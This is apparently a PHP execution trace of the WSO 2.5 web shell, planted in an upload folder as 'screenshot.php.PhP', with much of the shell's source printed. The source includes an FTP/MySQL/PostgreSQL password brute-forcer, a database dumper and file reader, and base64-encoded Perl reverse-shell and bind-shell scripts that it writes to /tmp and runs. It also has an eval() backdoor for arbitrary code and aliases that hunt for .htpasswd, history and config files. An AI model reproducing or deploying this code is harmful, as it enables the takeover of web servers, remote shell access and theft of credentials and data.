\';\r\n\twsoFooter();\r\n}\r\n\r\nfunction actionBruteforce() {\r\n\twsoHeader();\r\n\tif( isset($_POST[\'proto\']) ) {\r\n\t\techo \'

Results

Type: \'.htmlspecialchars($_POST[\'proto\']).\' Server: \'.htmlspecialchars($_POST[\'server\']).\'
\';\r\n\t\tif( $_POST[\'proto\'] == \'ftp\' ) {\r\n\t\t\tfunction wsoBruteForce($ip,$port,$login,$pass) {\r\n\t\t\t\t$fp = @ftp_connect($ip, $port?$port:21);\r\n\t\t\t\tif(!$fp) return false;\r\n\t\t\t\t$res = @ftp_login($fp, $login, $pass);\r\n\t\t\t\t@ftp_close($fp);\r\n\t\t\t\treturn $res;\r\n\t\t\t}\r\n\t\t} elseif( $_POST[\'proto\'] == \'mysql\' ) {\r\n\t\t\tfunction wsoBruteForce($ip,$port,$login,$pass) {\r\n\t\t\t\t$res = @mysql_connect($ip.\':\'.($port?$port:3306), $login, $pass);\r\n\t\t\t\t@mysql_close($res);\r\n\t\t\t\treturn $res;\r\n\t\t\t}\r\n\t\t} elseif( $_POST[\'proto\'] == \'pgsql\' ) {\r\n\t\t\tfunction wsoBruteForce($ip,$port,$login,$pass) {\r\n\t\t\t\t$str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=postgres";\r\n\t\t\t\t$res = @pg_connect($str);\r\n\t\t\t\t@pg_close($res);\r\n\t\t\t\treturn $res;\r\n\t\t\t}\r\n\t\t}\r\n\t\t$success = 0;\r\n\t\t$attempts = 0;\r\n\t\t$server = explode(":", $_POST[\'server\']);\r\n\t\tif($_POST[\'type\'] == 1) {\r\n\t\t\t$temp = @file(\'/etc/passwd\');\r\n\t\t\tif( is_array($temp) )\r\n\t\t\t\tforeach($temp as $line) {\r\n\t\t\t\t\t$line = explode(":", $line);\r\n\t\t\t\t\t++$attempts;\r\n\t\t\t\t\tif( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {\r\n\t\t\t\t\t\t$success++;\r\n\t\t\t\t\t\techo \'\'.htmlspecialchars($line[0]).\':\'.htmlspecialchars($line[0]).\'
\';\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif(@$_POST[\'reverse\']) {\r\n\t\t\t\t\t\t$tmp = "";\r\n\t\t\t\t\t\tfor($i=strlen($line[0])-1; $i>=0; --$i)\r\n\t\t\t\t\t\t\t$tmp .= $line[0][$i];\r\n\t\t\t\t\t\t++$attempts;\r\n\t\t\t\t\t\tif( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {\r\n\t\t\t\t\t\t\t$success++;\r\n\t\t\t\t\t\t\techo \'\'.htmlspecialchars($line[0]).\':\'.htmlspecialchars($tmp);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t} elseif($_POST[\'type\'] == 2) {\r\n\t\t\t$temp = @file($_POST[\'dict\']);\r\n\t\t\tif( is_array($temp) )\r\n\t\t\t\tforeach($temp as $line) {\r\n\t\t\t\t\t$line = trim($line);\r\n\t\t\t\t\t++$attempts;\r\n\t\t\t\t\tif( wsoBruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) {\r\n\t\t\t\t\t\t$success++;\r\n\t\t\t\t\t\techo \'\'.htmlspecialchars($_POST[\'login\']).\':\'.htmlspecialchars($line).\'
\';\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t}\r\n\t\techo "Attempts: $attempts Success: $success

";\r\n\t}\r\n\techo \'

Bruteforce

\'\r\n\t\t.\'\'\r\n\t\t.\'\'\r\n\t\t.\'\'\r\n\t\t.\'\'\r\n\t\t.\'\'\r\n\t\t.\'\'\r\n\t\t.\'
Type
\'\r\n\t\t.\'\'\r\n\t\t.\'\'\r\n\t\t.\'\'\r\n\t\t.\'Server:port
Brute type
\'\r\n\t\t.\'\'\r\n\t\t.\'\'\r\n\t\t.\'
Login
Dictionary
\'\r\n\t\t.\'
\';\r\n\techo \'

\';\r\n\twsoFooter();\r\n}\r\n\r\nfunction actionSql() {\r\n\tclass DbClass {\r\n\t\tvar $type;\r\n\t\tvar $link;\r\n\t\tvar $res;\r\n\t\tfunction DbClass($type)\t{\r\n\t\t\t$this->type = $type;\r\n\t\t}\r\n\t\tfunction connect($host, $user, $pass, $dbname){\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\tif( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\t$host = explode(\':\', $host);\r\n\t\t\t\t\tif(!$host[1]) $host[1]=5432;\r\n\t\t\t\t\tif( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction selectdb($db) {\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\tif (@mysql_select_db($db))return true;\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction query($str) {\r\n\t\t\tswitch($this->type) {\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\treturn $this->res = @mysql_query($str);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\treturn $this->res = @pg_query($this->link,$str);\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction fetch() {\r\n\t\t\t$res = func_num_args()?func_get_arg(0):$this->res;\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\treturn @mysql_fetch_assoc($res);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\treturn @pg_fetch_assoc($res);\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction listDbs() {\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n return $this->query("SHOW databases");\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\treturn $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction listTables() {\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\treturn $this->res = $this->query(\'SHOW TABLES\');\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\treturn $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction error() {\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\treturn @mysql_error();\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\treturn @pg_last_error();\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction setCharset($str) {\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\tif(function_exists(\'mysql_set_charset\'))\r\n\t\t\t\t\t\treturn @mysql_set_charset($str, $this->link);\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t$this->query(\'SET CHARSET \'.$str);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\treturn @pg_set_client_encoding($this->link, $str);\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction loadFile($str) {\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\treturn $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\t$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM \'".addslashes($str)."\';select file from wso2;");\r\n\t\t\t\t\t$r=array();\r\n\t\t\t\t\twhile($i=$this->fetch())\r\n\t\t\t\t\t\t$r[] = $i[\'file\'];\r\n\t\t\t\t\t$this->query(\'drop table wso2\');\r\n\t\t\t\t\treturn array(\'file\'=>implode("\\n",$r));\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction dump($table, $fp = false) {\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\t$res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');\r\n\t\t\t\t\t$create = mysql_fetch_array($res);\r\n\t\t\t\t\t$sql = $create[1].";\\n";\r\n if($fp) fwrite($fp, $sql); else echo($sql);\r\n\t\t\t\t\t$this->query(\'SELECT * FROM `\'.$table.\'`\');\r\n $i = 0;\r\n $head = true;\r\n\t\t\t\t\twhile($item = $this->fetch()) {\r\n $sql = \'\';\r\n if($i % 1000 == 0) {\r\n $head = true;\r\n $sql = ";\\n\\n";\r\n }\r\n\r\n\t\t\t\t\t\t$columns = array();\r\n\t\t\t\t\t\tforeach($item as $k=>$v) {\r\n if($v === null)\r\n $item[$k] = "NULL";\r\n elseif(is_int($v))\r\n $item[$k] = $v;\r\n else\r\n $item[$k] = "\'".@mysql_real_escape_string($v)."\'";\r\n\t\t\t\t\t\t\t$columns[] = "`".$k."`";\r\n\t\t\t\t\t\t}\r\n if($head) {\r\n $sql .= \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES \\n\\t(".implode(", ", $item).\')\';\r\n $head = false;\r\n } else\r\n $sql .= "\\n\\t,(".implode(", ", $item).\')\';\r\n if($fp) fwrite($fp, $sql); else echo($sql);\r\n $i++;\r\n\t\t\t\t\t}\r\n if(!$head)\r\n if($fp) fwrite($fp, ";\\n\\n"); else echo(";\\n\\n");\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\t$this->query(\'SELECT * FROM \'.$table);\r\n\t\t\t\t\twhile($item = $this->fetch()) {\r\n\t\t\t\t\t\t$columns = array();\r\n\t\t\t\t\t\tforeach($item as $k=>$v) {\r\n\t\t\t\t\t\t\t$item[$k] = "\'".addslashes($v)."\'";\r\n\t\t\t\t\t\t\t$columns[] = $k;\r\n\t\t\t\t\t\t}\r\n $sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."\\n";\r\n if($fp) fwrite($fp, $sql); else echo($sql);\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t};\r\n\t$db = new DbClass($_POST[\'type\']);\r\n\tif((@$_POST[\'p2\']==\'download\') && (@$_POST[\'p1\']!=\'select\')) {\r\n\t\t$db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);\r\n\t\t$db->selectdb($_POST[\'sql_base\']);\r\n switch($_POST[\'charset\']) {\r\n case "Windows-1251": $db->setCharset(\'cp1251\'); break;\r\n case "UTF-8": $db->setCharset(\'utf8\'); break;\r\n case "KOI8-R": $db->setCharset(\'koi8r\'); break;\r\n case "KOI8-U": $db->setCharset(\'koi8u\'); break;\r\n case "cp866": $db->setCharset(\'cp866\'); break;\r\n }\r\n if(empty($_POST[\'file\'])) {\r\n ob_start("ob_gzhandler", 4096);\r\n header("Content-Disposition: attachment; filename=dump.sql");\r\n header("Content-Type: text/plain");\r\n foreach($_POST[\'tbl\'] as $v)\r\n\t\t\t\t$db->dump($v);\r\n exit;\r\n } elseif($fp = @fopen($_POST[\'file\'], \'w\')) {\r\n foreach($_POST[\'tbl\'] as $v)\r\n $db->dump($v, $fp);\r\n fclose($fp);\r\n unset($_POST[\'p2\']);\r\n } else\r\n die(\'\');\r\n\t}\r\n\twsoHeader();\r\n\techo "\r\n

Sql browser

\r\n
\r\n\r\n\r\n\r\n\r\n\r\n\r\n\t\t\t\t\r\n \r\n\t\t\t\r\n\t\t
TypeHostLoginPasswordDatabase
";\r\n\t$tmp = "";\r\n\tif(isset($_POST[\'sql_host\'])){\r\n\t\tif($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {\r\n\t\t\tswitch($_POST[\'charset\']) {\r\n\t\t\t\tcase "Windows-1251": $db->setCharset(\'cp1251\'); break;\r\n\t\t\t\tcase "UTF-8": $db->setCharset(\'utf8\'); break;\r\n\t\t\t\tcase "KOI8-R": $db->setCharset(\'koi8r\'); break;\r\n\t\t\t\tcase "KOI8-U": $db->setCharset(\'koi8u\'); break;\r\n\t\t\t\tcase "cp866": $db->setCharset(\'cp866\'); break;\r\n\t\t\t}\r\n\t\t\t$db->listDbs();\r\n\t\t\techo "\';\r\n\t\t}\r\n\t\telse echo $tmp;\r\n\t}else\r\n\t\techo $tmp;\r\n\techo ">\' onclick=\'fs(d.sf);\'> count the number of rows
\r\n\t\t";\r\n\tif(isset($db) && $db->link){\r\n\t\techo "
";\r\n\t\t\tif(!empty($_POST[\'sql_base\'])){\r\n\t\t\t\t$db->selectdb($_POST[\'sql_base\']);\r\n\t\t\t\techo "";\r\n\t\t\t}\r\n\t\t\techo "
Tables:

";\r\n\t\t\t\t$tbls_res = $db->listTables();\r\n\t\t\t\twhile($item = $db->fetch($tbls_res)) {\r\n\t\t\t\t\tlist($key, $value) = each($item);\r\n if(!empty($_POST[\'sql_count\']))\r\n $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));\r\n\t\t\t\t\t$value = htmlspecialchars($value);\r\n\t\t\t\t\techo " ".$value."" . (empty($_POST[\'sql_count\'])?\' \':" ({$n[\'n\']})") . "
";\r\n\t\t\t\t}\r\n\t\t\t\techo "
File path:		";\r\n\t\t\t\tif(@$_POST[\'p1\'] == \'select\') {\r\n\t\t\t\t\t$_POST[\'p1\'] = \'query\';\r\n $_POST[\'p3\'] = $_POST[\'p3\']?$_POST[\'p3\']:1;\r\n\t\t\t\t\t$db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']);\r\n\t\t\t\t\t$num = $db->fetch();\r\n\t\t\t\t\t$pages = ceil($num[\'n\'] / 30);\r\n echo "".$_POST[\'p2\']." ({$num[\'n\']} records) Page # ";\r\n echo " of $pages";\r\n if($_POST[\'p3\'] > 1)\r\n echo " < Prev";\r\n if($_POST[\'p3\'] < $pages)\r\n echo " Next >";\r\n $_POST[\'p3\']--;\r\n\t\t\t\t\tif($_POST[\'type\']==\'pgsql\')\r\n\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';\r\n\t\t\t\t\techo "

";\r\n\t\t\t\t}\r\n\t\t\t\tif((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p2\'])) {\r\n\t\t\t\t\t$db->query(@$_POST[\'p2\']);\r\n\t\t\t\t\tif($db->res !== false) {\r\n\t\t\t\t\t\t$title = false;\r\n\t\t\t\t\t\techo \'\';\r\n\t\t\t\t\t\t$line = 1;\r\n\t\t\t\t\t\twhile($item = $db->fetch())\t{\r\n\t\t\t\t\t\t\tif(!$title)\t{\r\n\t\t\t\t\t\t\t\techo \'\';\r\n\t\t\t\t\t\t\t\tforeach($item as $key => $value)\r\n\t\t\t\t\t\t\t\t\techo \'\';\r\n\t\t\t\t\t\t\t\treset($item);\r\n\t\t\t\t\t\t\t\t$title=true;\r\n\t\t\t\t\t\t\t\techo \'\';\r\n\t\t\t\t\t\t\t\t$line = 2;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\techo \'\';\r\n\t\t\t\t\t\t\t$line = $line==1?2:1;\r\n\t\t\t\t\t\t\tforeach($item as $key => $value) {\r\n\t\t\t\t\t\t\t\tif($value == null)\r\n\t\t\t\t\t\t\t\t\techo \'\';\r\n\t\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\t\techo \'\';\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\techo \'\';\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\techo \'
\'.$key.\'
null\'.nl2br(htmlspecialchars($value)).\'
\';\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\techo \'
Error: \'.htmlspecialchars($db->error()).\'
\';\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\techo "

";\r\n\t\t\t\techo "

";\r\n if($_POST[\'type\']==\'mysql\') {\r\n $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");\r\n if($db->fetch())\r\n echo "
Load file >\'>
";\r\n }\r\n\t\t\tif(@$_POST[\'p1\'] == \'loadfile\') {\r\n\t\t\t\t$file = $db->loadFile($_POST[\'p2\']);\r\n\t\t\t\techo \'
\'.htmlspecialchars($file[\'file\']).\'
\';\r\n\t\t\t}\r\n\t} else {\r\n echo htmlspecialchars($db->error());\r\n }\r\n\techo \'
\';\r\n\twsoFooter();\r\n}\r\nfunction actionNetwork() {\r\n\twsoHeader();\r\n\t$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\r\n\t$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\r\n\techo "

Network tools

\r\n\t
\r\n\tBind port to /bin/sh [perl]
\r\n\tPort: >\'>\r\n\t
\r\n\t
\r\n\tBack-connect [perl]
\r\n\tServer: Port: >\'>\r\n\t

";\r\n\tif(isset($_POST[\'p1\'])) {\r\n\t\tfunction cf($f,$t) {\r\n\t\t\t$w = @fopen($f,"w") or @function_exists(\'file_put_contents\');\r\n\t\t\tif($w){\r\n\t\t\t\t@fwrite($w,@base64_decode($t));\r\n\t\t\t\t@fclose($w);\r\n\t\t\t}\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bpp\') {\r\n\t\t\tcf("/tmp/bp.pl",$bind_port_p);\r\n\t\t\t$out = wsoEx("perl /tmp/bp.pl ".$_POST[\'p2\']." 1>/dev/null 2>&1 &");\r\n sleep(1);\r\n\t\t\techo "
$out\\n".wsoEx("ps aux | grep bp.pl")."
";\r\n unlink("/tmp/bp.pl");\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcp\') {\r\n\t\t\tcf("/tmp/bc.pl",$back_connect_p);\r\n\t\t\t$out = wsoEx("perl /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." 1>/dev/null 2>&1 &");\r\n sleep(1);\r\n\t\t\techo "
$out\\n".wsoEx("ps aux | grep bc.pl")."
";\r\n unlink("/tmp/bc.pl");\r\n\t\t}\r\n\t}\r\n\techo \'
\';\r\n\twsoFooter();\r\n}\r\nfunction actionRC() {\r\n\tif(!@$_POST[\'p1\']) {\r\n\t\t$a = array(\r\n\t\t\t"uname" => php_uname(),\r\n\t\t\t"php_version" => phpversion(),\r\n\t\t\t"wso_version" => WSO_VERSION,\r\n\t\t\t"safemode" => @ini_get(\'safe_mode\')\r\n\t\t);\r\n\t\techo serialize($a);\r\n\t} else {\r\n\t\teval($_POST[\'p1\']);\r\n\t}\r\n}\r\nif( empty($_POST[\'a\']) )\r\n\tif(isset($default_action) && function_exists(\'action\' . $default_action))\r\n\t\t$_POST[\'a\'] = $default_action;\r\n\telse\r\n\t\t$_POST[\'a\'] = \'SecInfo\';\r\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )\r\n\tcall_user_func(\'action\' . $_POST[\'a\']);\r\nexit;\r\n' /var/www/html/uploads/screenshot.php.PhP 7 0 2 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 2 $color = '#df5' 2 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 3 $default_action = 'FilesMan' 2 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 4 $default_use_ajax = TRUE 2 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 5 $default_charset = 'Windows-1251' 2 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 8 $userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler'] 3 15 0 0.007800 1067888 implode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 9 2 '|' [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler'] 3 15 1 0.007822 1068032 3 15 R 'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler' 3 16 0 0.007841 1067968 preg_match 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 9 2 '/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i' 'python-requests/2.25.1' 3 16 1 0.007861 1068032 3 16 R 0 3 17 0 0.007875 1067888 ini_set 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 15 2 'error_log' NULL 3 17 1 0.007892 1067960 3 17 R '' 3 18 0 0.007906 1067888 ini_set 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 16 2 'log_errors' 0 3 18 1 0.007921 1067960 3 18 R '1' 3 19 0 0.007934 1067888 ini_set 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 17 2 'max_execution_time' 0 3 19 1 0.007951 1067992 3 19 R '30' 3 20 0 0.007964 1067888 set_time_limit 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 18 1 0 3 20 1 0.007979 1067952 3 20 R FALSE 3 21 0 0.007993 1067920 define 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 21 2 'WSO_VERSION' '2.5' 3 21 1 0.008012 1068024 3 21 R TRUE 3 22 0 0.008025 1067952 get_magic_quotes_gpc 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 23 0 3 22 1 0.008039 1067952 3 22 R FALSE 3 23 0 0.008052 1067952 substr 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 36 3 'Linux' 0 3 3 23 1 0.008067 1068080 3 23 R 'Lin' 3 24 0 0.008080 1067984 strtolower 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 36 1 'Lin' 3 24 1 0.008095 1068048 3 24 R 'lin' 2 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 39 $os = 'nix' 3 25 0 0.008120 1067952 ini_get 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 41 1 'safe_mode' 3 25 1 0.008135 1067984 3 25 R FALSE 2 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 41 $safe_mode = FALSE 3 26 0 0.008160 1067952 error_reporting 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 43 1 0 3 26 1 0.008178 1067992 3 26 R 22527 3 27 0 0.008192 1067952 ini_get 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 45 1 'disable_functions' 3 27 1 0.008206 1068432 3 27 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,' 2 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 45 $disable_functions = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,' 3 28 0 0.008254 1068400 getcwd 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 46 0 3 28 1 0.008269 1068448 3 28 R '/var/www/html/uploads' 2 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 46 $home_cwd = '/var/www/html/uploads' 3 29 0 0.008296 1068448 getcwd 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 49 0 3 29 1 0.008309 1068496 3 29 R '/var/www/html/uploads' 2 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 49 $cwd = '/var/www/html/uploads' 2 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 55 $cwd .= '/' 3 30 0 0.008348 1068496 md5 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 57 1 'localhost' 3 30 1 0.008363 1068592 3 30 R '421aa90e079fa326b6494f812ad13e79' 3 31 0 0.008379 1068496 md5 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 58 1 'localhost' 3 31 1 0.008393 1068592 3 31 R '421aa90e079fa326b6494f812ad13e79' 2 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 58 _COOKIE['421aa90e079fa326b6494f812ad13e79ajax'] = TRUE 2 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 74 $aliases = ['List dir' => 'ls -lha', 'list file attributes on a Linux second extended file system' => 'lsattr -va', 'show opened ports' => 'netstat -an | grep -i listen', 'process status' => 'ps aux', 'Find' => '', 'find all suid files' => 'find / -type f -perm -04000 -ls', 'find suid files in current dir' => 'find . -type f -perm -04000 -ls', 'find all sgid files' => 'find / -type f -perm -02000 -ls', 'find sgid files in current dir' => 'find . -type f -perm -02000 -ls', 'find config.inc.php files' => 'find / -type f -name config.inc.php', 'find config* files' => 'find / -type f -name "config*"', 'find config* files in current dir' => 'find . -type f -name "config*"', 'find all writable folders and files' => 'find / -perm -2 -ls', 'find all writable folders and files in current dir' => 'find . -perm -2 -ls', 'find all service.pwd files' => 'find / -type f -name service.pwd', 'find service.pwd files in current dir' => 'find . -type f -name service.pwd', 'find all .htpasswd files' => 'find / -type f -name .htpasswd', 'find .htpasswd files in current dir' => 'find . -type f -name .htpasswd', 'find all .bash_history files' => 'find / -type f -name .bash_history', 'find .bash_history files in current dir' => 'find . -type f -name .bash_history', 'find all .fetchmailrc files' => 'find / -type f -name 